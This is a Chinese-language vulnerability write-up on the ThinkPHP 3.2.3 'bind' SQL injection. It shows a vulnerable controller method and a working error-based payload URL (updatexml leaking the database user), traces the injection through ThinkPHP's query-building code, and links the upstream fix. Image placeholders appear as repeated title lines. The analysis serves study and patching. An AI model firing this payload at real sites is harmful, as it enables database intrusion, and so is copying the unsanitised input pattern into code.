Thinkphp 3.2.3 bind注入

漏洞代码:

    public function test01()
    {
        $User = M("user");
        $user['id'] = I('id');
        $data['password'] = I('password');
        $value = $User->where($user)->save($data);
        var_dump($value);
}

payload:http://tp32.com/index.php/home/index/test01?id[0]=bind&id[1]=0%20and%20(updatexml(1,concat(0x7e,user(),0x7e),1))&pwd=bbb

Thinkphp 3.2.3 bind注入

漏洞分析:

老样子先进入where方法中进行参数构造

Thinkphp 3.2.3 bind注入

Thinkphp 3.2.3 bind注入

然后进入 save 方法中 _parseOptions 进行字段验证

Thinkphp 3.2.3 bind注入

Thinkphp 3.2.3 bind注入

然后重点 出来了之后 进入到 update 方法中

Thinkphp 3.2.3 bind注入

先是进行参数绑定

Thinkphp 3.2.3 bind注入

然后进行 parseWhere

Thinkphp 3.2.3 bind注入

再进入 parseWhereItem where子单元分析

Thinkphp 3.2.3 bind注入

其中到来 bind表达式的处理分支,拼接=:

Thinkphp 3.2.3 bind注入

此时的语句为如下

Thinkphp 3.2.3 bind注入

出来之后 继续进入到 execute 方法中,重点来了

Thinkphp 3.2.3 bind注入

Thinkphp 3.2.3 bind注入

虽然上面bind表达式进行了拼接=:,但是这个strtr函数会进行处理,最后语句成为如下

Thinkphp 3.2.3 bind注入

修复:

https://github.com/top-think/thinkphp/commit/7e47e34af72996497c90c20bcfa3b2e1cedd7fa4

Thinkphp 3.2.3 bind注入

参考文章:https://y4er.com/post/thinkphp3-vuln/

上一篇:thinkphp中include传参有缓存,模板缓存清理


下一篇:ThinkPHP 微信小程序-消息推送配置 Token校验失败,请检查确认